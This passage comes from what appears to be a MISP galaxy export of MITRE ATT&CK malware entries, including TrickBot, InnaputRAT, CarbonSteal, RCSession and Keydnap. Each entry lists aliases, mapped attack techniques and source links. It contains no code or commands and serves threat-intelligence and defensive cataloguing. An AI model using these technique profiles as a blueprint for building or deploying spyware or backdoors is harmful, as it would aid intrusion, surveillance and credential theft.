- uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5549. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/

https://attack.mitre.org/software/S0295

InnaputRAT - S0259

[InnaputRAT](https://attack.mitre.org/software/S0259) is a remote access tool that can exfiltrate files from a victim's machine. [InnaputRAT](https://attack.mitre.org/software/S0259) has been seen out in the wild since 2016. (Citation: ASERT InnaputRAT April 2018)

The tag is: *misp-galaxy:mitre-malware="InnaputRAT - S0259"*

InnaputRAT - S0259 is also known as:

- InnaputRAT

View relationships graph

InnaputRAT - S0259 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 5550. Table References

Links

https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/
https://attack.mitre.org/software/S0259

CarbonSteal - S0529

[CarbonSteal](https://attack.mitre.org/software/S0529) is one of a family of four surveillanceware tools that share a common C2 infrastructure. [CarbonSteal](https://attack.mitre.org/software/S0529) primarily deals with audio surveillance. (Citation: Lookout Uyghur Campaign)

The tag is: *misp-galaxy:mitre-malware="CarbonSteal - S0529"*

CarbonSteal - S0529 is also known as:

- CarbonSteal

View relationships graph

CarbonSteal - S0529 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Call Control - T1616" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native Code - T1575" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1521" with estimative-language:likelihood-probability="almost-certain"

Table 5551. Table References

Links
https://attack.mitre.org/software/S0529
https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

P8RAT - S0626

[P8RAT](https://attack.mitre.org/software/S0626) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)

The tag is: *misp-galaxy:mitre-malware="P8RAT - S0626"*

P8RAT - S0626 is also known as:

- P8RAT
- HEAVYPOT
- GreetCake

View relationships graph

P8RAT - S0626 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 5552. Table References

Links
https://attack.mitre.org/software/S0626
https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/

TrickBot - S0266

[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) was developed and initially used by [Wizard Spider](https://attack.mitre.org/groups/G0102) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of "big game hunting" ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020)

The tag is: *misp-galaxy:mitre-malware="TrickBot - S0266"*

TrickBot - S0266 is also known as:

- TrickBot
- Totbrick
- TSPY_TRICKLOAD

View relationships graph

TrickBot - S0266 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5553. Table References

Links
https://attack.mitre.org/software/S0266
https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/
https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/
https://www.crowdstrike.com/blog/wizard-spider-adversary-update/
https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick
https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n

RCSession - S0662

[RCSession](https://attack.mitre.org/software/S0662) is a backdoor written in C++ that has been in use since at least 2018 by [Mustang Panda](https://attack.mitre.org/groups/G0129) and by [Threat Group-3390](https://attack.mitre.org/groups/G0027) (Type II Backdoor).(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Trend Micro Iron Tiger April 2021)(Citation: Trend Micro DRBControl February 2020)

The tag is: *misp-galaxy:mitre-malware="RCSession - S0662"*

RCSession - S0662 is also known as:

- RCSession

View relationships graph

RCSession - S0662 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5554. Table References

Links
https://attack.mitre.org/software/S0662
https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf
https://www.secureworks.com/research/bronze-president-targets-ngos
https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html

FELIXROOT - S0267

[FELIXROOT](https://attack.mitre.org/software/S0267) is a backdoor that has been used to target Ukrainian victims. (Citation: FireEye FELIXROOT July 2018)

The tag is: *misp-galaxy:mitre-malware="FELIXROOT - S0267"*

FELIXROOT - S0267 is also known as:

- FELIXROOT
- GreyEnergy mini

View relationships graph

FELIXROOT - S0267 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5555. Table References

Links
https://attack.mitre.org/software/S0267
https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html
https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf

Keydnap - S0276

This piece of malware steals the content of the user's keychain while maintaining a permanent backdoor (Citation: OSX Keydnap malware).

The tag is: *misp-galaxy:mitre-malware="Keydnap - S0276"*

Keydnap - S0276 is also known as:

- Keydnap
- OSX/Keydnap

[View relationships graph](#)

Keydnap - S0276 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Securityd Memory - T1555.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1548.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Resource Forking - T1564.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Space after Filename - T1036.006" with estimative-language:likelihood-probability="almost-certain"

Table 5556. Table References

Links
https://attack.mitre.org/software/S0276
https://www.synack.com/2017/01/01/mac-malware-2016/
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

SodaMaster - S0627

[SodaMaster](https://attack.mitre.org/software/S0627) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)

The tag is: *misp-galaxy:mitre-malware="SodaMaster - S0627"*

SodaMaster - S0627 is also known as:

- SodaMaster
- DARKTOWN
- dfls
- DelfsCake

View relationships graph

SodaMaster - S0627 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5557. Table References

Links
https://attack.mitre.org/software/S0627
https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/

Zox - S0672

[Zox](https://attack.mitre.org/software/S0672) is a remote access tool that has been used by [Axiom](https://attack.mitre.org/groups/G0001) since at least 2008.(Citation: Novetta-Axiom)

The tag is: *misp-galaxy:mitre-malware="Zox - S0672"*

Zox - S0672 is also known as:

- Zox

- Gresim
- ZoxRPC
- ZoxPNG

View relationships graph

Zox - S0672 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1001.002" with estimative-language:likelihood-probability="almost-certain"

Table 5558. Table References

Links
http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://attack.mitre.org/software/S0672

OBAD - S0286

OBAD is an Android malware family. (Citation: TrendMicro-Obad)

The tag is: *misp-galaxy:mitre-malware="OBAD - S0286"*

OBAD - S0286 is also known as:

- OBAD

View relationships graph

OBAD - S0286 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1401" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

Table 5559. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/
https://attack.mitre.org/software/S0286

FYAnti - S0628

[FYAnti](https://attack.mitre.org/software/S0628) is a loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2020, including to deploy [QuasarRAT](https://attack.mitre.org/software/S0262).(Citation: Securelist APT10 March 2021)

The tag is: *misp-galaxy:mitre-malware="FYAnti - S0628"*

FYAnti - S0628 is also known as:

- FYAnti
- DILLJUICE stage2

View relationships graph

FYAnti - S0628 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5560. Table References

Links
https://attack.mitre.org/software/S0628
https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/

TrailBlazer - S0682

[TrailBlazer](https://attack.mitre.org/software/S0682) is a modular malware that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2019.(Citation: CrowdStrike StellarParticle January 2022)

The tag is: *misp-galaxy:mitre-malware="TrailBlazer - S0682"*

TrailBlazer - S0682 is also known as:

- TrailBlazer

View relationships graph

TrailBlazer - S0682 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 5561. Table References

Links
https://attack.mitre.org/software/S0682
https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/

Bisonal - S0268

[Bisonal](https://attack.mitre.org/software/S0268) is a remote access tool (RAT) that has been used by [Tonto Team](https://attack.mitre.org/groups/G0131) against public and private sector organizations in Russia, South Korea, and Japan since at least December 2010.(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020)

The tag is: *misp-galaxy:mitre-malware="Bisonal - S0268"*

Bisonal - S0268 is also known as:

- Bisonal

View relationships graph

Bisonal - S0268 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Add-ins - T1137.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
